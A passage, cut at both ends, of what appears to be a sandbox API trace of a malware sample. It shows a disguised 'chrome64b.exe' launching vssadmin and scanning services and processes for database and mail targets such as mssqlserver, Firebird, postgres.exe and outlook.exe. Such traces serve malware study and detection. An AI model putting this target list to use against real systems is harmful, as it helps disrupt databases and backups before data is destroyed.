th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0048.957] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0048.957] Process32NextW (in: hSnapshot=0x214, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0048.958] lstrlenW (lpString="chrome64b.exe") returned 13 [0048.958] Process32NextW (in: hSnapshot=0x214, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0048.959] lstrlenW (lpString="cmd.exe") returned 7 [0048.959] Process32NextW (in: hSnapshot=0x214, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0048.959] lstrlenW (lpString="conhost.exe") returned 11 [0048.959] Process32NextW (in: hSnapshot=0x214, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0048.960] lstrlenW (lpString="vssadmin.exe") returned 12 [0048.960] Process32NextW (in: hSnapshot=0x214, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0048.961] lstrlenW (lpString="VSSVC.exe") returned 9 [0048.961] Process32NextW (in: hSnapshot=0x214, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.962] lstrlenW (lpString="svchost.exe") returned 11 [0048.962] Process32NextW (in: hSnapshot=0x214, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0048.962] CloseHandle (hObject=0x214) returned 1 [0048.962] Sleep (dwMilliseconds=0x1f4) [0049.508] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x66f660 [0049.508] EnumServicesStatusExW (in: hSCManager=0x66f660, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0049.509] GetLastError () returned 0xea [0049.509] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x12c6) returned 0x63e068 [0049.509] EnumServicesStatusExW (in: hSCManager=0x66f660, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x63e068, cbBufSize=0x12c6, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x63e068, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0049.510] CloseServiceHandle (hSCObject=0x66f660) returned 1 [0049.510] lstrlenW (lpString="Appinfo") returned 7 [0049.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0049.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0049.510] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0049.510] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0049.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0049.510] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0049.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0049.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0049.510] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0049.510] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0049.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0049.510] lstrlenW (lpString="AudioSrv") returned 8 [0049.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0049.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0049.511] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0049.511] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0049.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0049.511] lstrlenW (lpString="BFE") returned 3 [0049.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0049.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0049.511] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0049.511] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0049.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0049.511] lstrlenW (lpString="CryptSvc") returned 8 [0049.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0049.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0049.511] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0049.511] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0049.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0049.511] lstrlenW (lpString="CscService") returned 10 [0049.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0049.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0049.511] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0049.511] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0049.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0049.511] lstrlenW (lpString="DcomLaunch") returned 10 [0049.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0049.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0049.511] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0049.511] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0049.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0049.511] lstrlenW (lpString="Dhcp") returned 4 [0049.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0049.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0049.512] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0049.512] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0049.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0049.512] lstrlenW (lpString="Dnscache") returned 8 [0049.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0049.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0049.512] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0049.512] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0049.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0049.512] lstrlenW (lpString="DPS") returned 3 [0049.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0049.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0049.512] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0049.512] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0049.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0049.512] lstrlenW (lpString="eventlog") returned 8 [0049.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0049.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0049.512] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0049.512] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0049.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0049.512] lstrlenW (lpString="EventSystem") returned 11 [0049.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0049.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0049.512] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0049.512] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0049.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0049.513] lstrlenW (lpString="gpsvc") returned 5 [0049.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0049.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0049.513] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0049.513] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0049.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0049.513] lstrlenW (lpString="iphlpsvc") returned 8 [0049.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0049.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0049.513] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0049.513] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0049.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0049.513] lstrlenW (lpString="LanmanServer") returned 12 [0049.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0049.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0049.513] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0049.513] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0049.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0049.513] lstrlenW (lpString="LanmanWorkstation") returned 17 [0049.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0049.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0049.513] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0049.513] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0049.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0049.513] lstrlenW (lpString="lmhosts") returned 7 [0049.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0049.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0049.514] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0049.514] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0049.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0049.514] lstrlenW (lpString="MMCSS") returned 5 [0049.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0049.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0049.514] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0049.514] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0049.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0049.514] lstrlenW (lpString="MpsSvc") returned 6 [0049.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0049.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0049.514] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0049.514] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0049.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0049.514] lstrlenW (lpString="Netman") returned 6 [0049.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0049.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0049.514] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0049.514] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0049.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0049.514] lstrlenW (lpString="netprofm") returned 8 [0049.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0049.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0049.515] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0049.515] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0049.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0049.515] lstrlenW (lpString="NlaSvc") returned 6 [0049.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0049.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0049.515] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0049.515] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0049.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0049.515] lstrlenW (lpString="nsi") returned 3 [0049.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0049.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0049.515] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0049.515] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0049.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0049.515] lstrlenW (lpString="PcaSvc") returned 6 [0049.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0049.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0049.515] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0049.515] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0049.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0049.515] lstrlenW (lpString="PlugPlay") returned 8 [0049.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0049.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0049.515] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0049.515] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0049.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0049.516] lstrlenW (lpString="Power") returned 5 [0049.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0049.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0049.516] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0049.516] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0049.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0049.516] lstrlenW (lpString="ProfSvc") returned 7 [0049.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0049.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0049.516] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0049.516] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0049.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0049.516] lstrlenW (lpString="RpcEptMapper") returned 12 [0049.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0049.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0049.516] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0049.516] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0049.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0049.516] lstrlenW (lpString="RpcSs") returned 5 [0049.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0049.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0049.516] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0049.516] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0049.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0049.516] lstrlenW (lpString="SamSs") returned 5 [0049.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0049.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0049.517] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0049.517] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0049.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0049.517] lstrlenW (lpString="Schedule") returned 8 [0049.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0049.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0049.517] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0049.517] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0049.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0049.517] lstrlenW (lpString="SENS") returned 4 [0049.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0049.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0049.517] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0049.517] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0049.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0049.517] lstrlenW (lpString="ShellHWDetection") returned 16 [0049.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0049.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0049.517] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0049.517] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0049.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0049.517] lstrlenW (lpString="Spooler") returned 7 [0049.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0049.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0049.517] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0049.517] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0049.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0049.517] lstrlenW (lpString="swprv") returned 5 [0049.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0049.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0049.518] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0049.518] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0049.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0049.518] lstrlenW (lpString="SysMain") returned 7 [0049.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0049.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0049.518] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0049.518] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0049.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0049.518] lstrlenW (lpString="Themes") returned 6 [0049.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0049.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0049.518] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0049.518] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0049.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0049.518] lstrlenW (lpString="TrkWks") returned 6 [0049.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0049.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0049.518] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0049.518] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0049.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0049.518] lstrlenW (lpString="UxSms") returned 5 [0049.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0049.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0049.518] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0049.518] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0049.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0049.519] lstrlenW (lpString="VSS") returned 3 [0049.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0049.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0049.519] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0049.519] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0049.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0049.519] lstrlenW (lpString="WdiServiceHost") returned 14 [0049.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0049.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0049.519] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0049.519] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0049.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0049.519] lstrlenW (lpString="WdiSystemHost") returned 13 [0049.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0049.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0049.519] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0049.519] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0049.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0049.519] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0049.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0049.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0049.519] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0049.519] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0049.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0049.519] lstrlenW (lpString="Winmgmt") returned 7 [0049.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0049.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0049.520] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0049.520] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0049.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0049.520] lstrlenW (lpString="WPDBusEnum") returned 10 [0049.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0049.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0049.520] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0049.520] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0049.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0049.520] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x63e068 | out: hHeap=0x5f0000) returned 1 [0049.520] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f8 [0049.524] Process32FirstW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0049.525] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0049.526] lstrlenW (lpString="System") returned 6 [0049.526] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0049.526] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0049.526] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0049.526] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0049.526] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0049.526] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0049.526] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0049.526] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, 